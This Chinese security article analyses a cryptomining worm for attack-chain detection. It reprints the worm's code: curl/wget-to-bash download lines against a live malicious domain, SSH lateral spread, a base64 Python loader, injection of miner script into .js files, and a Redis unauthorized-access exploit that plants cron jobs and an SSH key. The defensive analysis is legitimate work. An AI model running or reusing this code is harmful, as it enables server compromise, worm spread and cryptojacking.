bt0sea 嘶吼专业版
0x00、前言
攻击链分析是最近比较火的话题,但是ATT&CK攻击模型是针对APT总结出来的,现实当中哪有那么多APT攻击?所以,很多厂商在探索处理日常碰到的针对性攻击。把检测到的安全监控点事件串联起来,形成攻击链。当然需要经过应急响应团队二次评估。
0x01、人工分析
攻击链分析要从实际的攻击案例分析开始,所以,第一步我们要通过人工分析了解黑客入侵的来龙去脉。
做人工分析也需要有基础数据收集:
1、资产指纹功能是EDR(endpoint detection response)产品重要的功能,通过对进程、网络连接等基础数据的收集,为进一步安全场景分析提高数据支撑。
2、登陆流水,对分析暴力破解成功等账号风险问题有很大帮助。
3、网络层五元组、VPC log、一段时间内的pcap包。
4、http/https对外Post请求。
首先,我们先从主机层面进程、网络信息开始,至少需要收集以下基础信息:
"process_info": {
"path": "/alidata/server/httpd/bin/httpd",
"pid": 11095,
"name": "httpd",
"start-time": 2019-09-27 09:43:05,
"cmdline": "/alidata/server/httpd/bin/httpd -k start",
"username": "daemon",
"groupname": "daemon",
"cpu": 8.1,
"md5": "4dcb56b10fa7f80891b06feebf0b5fbb",
"ppid": 1360,
},
"socket_info": {
"remoteport": 6381,
"socktype": TCP,
"pid": 10599,
"name": "java",
"remoteaddr": "192.168.171.30",
"localaddr": "10.207.249.48",
"status": "ESTABLISHED",
"start-time": 2019-09-27 09:43:05,
"localport": 53174,
},
我们在搜索process_info.cmdline字段中发现:
/bin/sh -c (curl -s http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O - http://www.jukesxdbrxd.xyz/hehe.sh)|bash -sh
下载了hehe.sh,因为内容比较多我就不完全显示(大部分代码是干掉竞争对手的进程、或者网络连接),分析几块比较有意思的代码段:
1、伪装SSH下载hehe.sh恶意脚本。
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print 2}'|xargs kill -9
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in (grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2>&1 &' & done
fi
2、下载内部探测恶意脚本
function e() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovL3d3dy5qdWtlc3hkYnJ4ZC54eXovc3MzLnB5Jwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.38t9guft0055d0565u444gtjr5
}
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr5" ]; then
e
fi
上面代码中base64解密后是:
#coding: utf-8
import urllib
import base64
d= 'http://www.jukesxdbrxd.xyz/ss3.py'
try:
page=base64.b64decode(urllib.urlopen(d).read())
exec(page)
except:
pass
3、插入挖矿脚本
这招实在太黑了,向本机所有符合条件的.js文件中写入挖矿脚本。
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"61adfe72ae314d8f86532b3cd1c60bda\",\"-1\"\)\</script\>\'\)\;
http://t.cn/EvlonFh 访问后URL:
同时下载了http://www.jukesxdbrxd.xyz/ss3.py 进行分析。
1、redis未授权访问扫描功能
def get_ip_list():
try:
url = 'ifconfig.co/ip'
conn = httplib.HTTPConnection(url, port=80, timeout=10)
conn.request(method='GET', url='/', )
result = conn.getresponse()
ip1 = result.read()
ips1 = findall(r'\d+.\d+.', ip1)[0]
for u in range(0, 256):
ip_list1 = (ips1 + (str(u)))
for g in range(1, 256):
IP_LIST.append(ip_list1 + '.' + (str(g)))
except Exception:
ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
ips2 = findall(r'\d+.\d+.', ip2)[0]
for i in range(0, 255):
ip_list2 = (ips2 + (str(i)))
for g in range(1, 255):
IP_LIST.append(ip_list2 + '.' + (str(g)))
pass
def get_ip_list2():
not_valid = [10,127,169,172,192]
for i in range(0, 100000):
first = randrange(1,227)
while first in not_valid:
first = randrange(1,227)
ip = ".".join([str(first),str(randrange(0,256)),
str(randrange(0,256)),str(randrange(0,256))])
IP_LIST.append(ip)
def runPortscan():
for x in range(99999):
get_ip_list2()
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join()
在主机上的执行结果:
netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 7506/0
tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN 7743/1
tcp 0 0 127.0.0.1:6012 0.0.0.0:* LISTEN 7845/2
tcp 0 1 10.0.0.26:56082 207.158.88.30:6379 SYN_SENT 7999/python
tcp 0 1 10.0.0.26:54058 61.x.166.211:6379 SYN_SENT 7999/python
tcp 0 1 10.0.0.26:42164 33.x.249.227:6379 SYN_SENT 7999/python
tcp 0 1 10.0.0.26:52206 25.x.45.0:6379 SYN_SENT 7999/python
tcp 0 1 10.0.0.26:36772 210.x.3.9:6379 SYN_SENT 7999/python
tcp 0 1 10.0.0.26:60696 70.186.8.29:6379 SYN_SENT
...(省略,后面还有很多)
tcp 0 16 10.0.0.26:54142 115.230.124.187:6379 ESTABLISHED 7999/python
tcp 0 0 10.0.0.26:22 106.38.115.24:12957 ESTABLISHED 7845/2
tcp 0 0 10.0.0.26:22 106.38.115.24:12955 ESTABLISHED 7506/0
2、如果存在redis权限,拷贝sshkey到目标主机。通过redis导出文件方式增加C2的秘钥。
SKEY="\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBoaGW7s5jkS7HBHz3S007pxTSSjuF16E2UBoDYBG3xrOVTf504K82It6RncEp8jEN5LxoePNGDatJYEsRLSyRyUuGDp1jdBW/yTa5dMQm/29UQ7VDvqF40CN44wemG0edFHxBLLSmNBgPfapuumePxSbLVTlEUb5tpEqiTADx30KFZtKTt1ov549iF4Uw/jLRCP80zPqmZgeUxGRt/jM3LnvJ1W1M2S2BLFbHovMuLRFKg8FCUrEe23V+6Vp4l7A4SgwxQ+4O4JKlZIoiaG7HkC0jhDVdeU9RdvI4uAaBSMed8fgmvFpBVXbG5aGHuYNiODWYiaWGQeCyK0ua+g5N root@localhost\\n#"
try:
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.settimeout(3)
x = s2.connect_ex((self.host, 6379))
if x == 0:
DFDIR=DFRDB='N/A'
stt1=stt2=stt3=stt4=stt5=-9
tmp=rd(s2, 'config get dir\r\n')
if "Authentication required" in str(tmp): stt1=-10
elif "-ERR unknown command" not in str(tmp):
if 'dir' in str(tmp): DFDIR=(tmp.split('dir'))[1].splitlines()[2]
tmp=rd(s2, 'config get dbfilename\r\n')
if 'dbfilename' in str(tmp): DFRDB=(tmp.split('dbfilename'))[1].splitlines()[2]
rs=rd(s2, 'config set dbfilename root\r\n')
if "+OK" in str(rs):
rs=rd(s2, 'config set rdbcompression no\r\n')
if "+OK" in str(rs):
write=rd(s2, 'flushall\r\n')
if "write against a read only" in str(write):
rd(s2, 'SLAVEOF NO ONE\r\n')
write=rd(s2, 'flushall\r\n')
if "write against a read only" not in str(write):
K1=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
K2=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
K3=''.join(random.choice(string.lowercase) for x in range(random.randint(4, 10)))
CF=''.join(random.choice(string.lowercase) for x in range(random.randint(6, 18)))
rs=rd(s2, 'config set stop-writes-on-bgsave-error no\r\n')
#rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')
rs=rd(s2, 'set '+K2+' "'+C2+'"\r\n')
apt=chkdir(s2, '/usr/share/bug/apt/')
if apt == -4:
fml='N.'
stt1=chkdir(s2, '/var/spool/cron')
else:
fml='Debian.'
stt1=chkdir(s2, '/var/spool/cron/crontabs')
pine=chkdir(s2, '/etc/crontabs')
rs=rd(s2, 'del '+K2+'\r\n')
rs=rd(s2, 'set '+K1+' "'+C1+'"\r\n')
rs=rd(s2, 'config set dbfilename .'+CF+'\r\n')
stt2=chkdir(s2, '/etc/cron.d')
rs=rd(s2, 'config set dbfilename crontab\r\n')
stt22=chkdir(s2, '/etc')
if stt2 < 2: stt2=stt22
rs=rd(s2, 'del '+K1+'\r\n')
rs=rd(s2, 'config set dbfilename authorized_keys\r\n')
rs=rd(s2, 'set '+K3+' "'+SKEY+'"\r\n')
stt3=chkdir(s2, '/root/.ssh')
stt4=chkdir(s2, '/home/ubuntu/.ssh')
#time.sleep(1)
rs=rd(s2, 'del '+K3+'\r\n')
rs=rd(s2, 'config set rdbcompression yes\r\n')
rs=rd(s2, 'config set stop-writes-on-bgsave-error yes\r\n')
if "cron" not in str(DFDIR) and ".ssh" not in str(DFDIR):
rs=rd(s2, 'config set dir '+DFDIR+'\r\n')
rs=rd(s2, 'config set dbfilename '+DFRDB+'\r\n')
else:
rs=rd(s2, 'config set dir /var/lib/redis\r\n')
rs=rd(s2, 'config set dbfilename dump.rdb\r\n')
s2.close()
except Exception:
pass
scanner.lck.acquire()
scanner.tlist.remove(self)
if len(scanner.tlist) < scanner.maxthreads:
scanner.evnt.set()
scanner.evnt.clear()
scanner.lck.release()
3、建立外联下载恶意软件通道。
def run(self):
RHOST='http://jukesxdbrxd.xyz/'
CHKCURL='tbin=$(command -v passwd); bpath=$(dirname \\"${tbin}\\"); curl=\\"curl\\"; if [ $(curl --version 2>/dev/null|grep \\"curl \\"|wc -l) -eq 0 ]; then curl=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"CURLOPT_VERBOSE\\" && curl=\\"$f\\" && break; done; fi; fi; wget=\\"wget\\"; if [ $(wget --version 2>/dev/null|grep \\"wgetrc \\"|wc -l) -eq 0 ]; then wget=\\"echo\\"; if [ \\"${bpath}\\" != \\"\\" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q \\"to <bug-wget@gnu.org>\\" && wget=\\"$f\\" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i \\".onion.\\"|wc -l) -ne 0 ]; then echo \\"127.0.0.1 localhost\\" > /etc/hosts >/dev/null 2>&1; fi; '
RPATH1='hehe.sh'
TIMEOUT='40'
COPTS='-fsSLk --max-time '+TIMEOUT
WOPTS='--quiet --no-check-certificate --timeout='+TIMEOUT
C1='\\n\\n*/1 * * * * root ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'
C2='\\n\\n*/1 * * * * ('+CHKCURL+' ${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||${curl} '+COPTS+' '+RHOST+RPATH1+' -o ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty||wget '+WOPTS+' '+RHOST+RPATH1+' -O ~/.ptty) && chmod +x ~/.ptty && bash ~/.ptty\\n\\n'
在主机上的执行结果:
root@Server-xxxxx:~# netstat -antup |grep EST
tcp 0 36 10.0.0.26:22 106.38.115.24:12956 ESTABLISHED 7743/1
tcp 0 0 10.0.0.26:22 106.38.115.24:12957 ESTABLISHED 7845/2
tcp 0 0 10.0.0.26:22 106.38.115.24:12955 ESTABLISHED 7506/0
0x02、分析自动化
我们大致了解了黑客程序入侵手段,那么我们如何自动化整个查询过程。
异常获取:
1、清洗所有进程cmdline数据,去除到空字段等异常情况。
2、把所有进程cmdline数据归一化。
3、与7天白名单基线对比,筛选出不在基线中的进程cmdline
4、提取存在主机安全告警的cmdline数据,清洗后,进行相识度对比,curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh||wget -q -O- http://www.jukesxdbrxd.xyz/hehe.sh)|bash >/dev/null 2
5、在网络流程层提取POST流量,,<?xml version=”1.0” <string>curl -fsSL http://www.jukesxdbrxd.xyz/hehe.sh|bash </string>
6、经过误报处理后,发现的告警就是我们想要的。
本文为嘶吼特约作者 bt0sea 原创文章,未经授权禁止转载。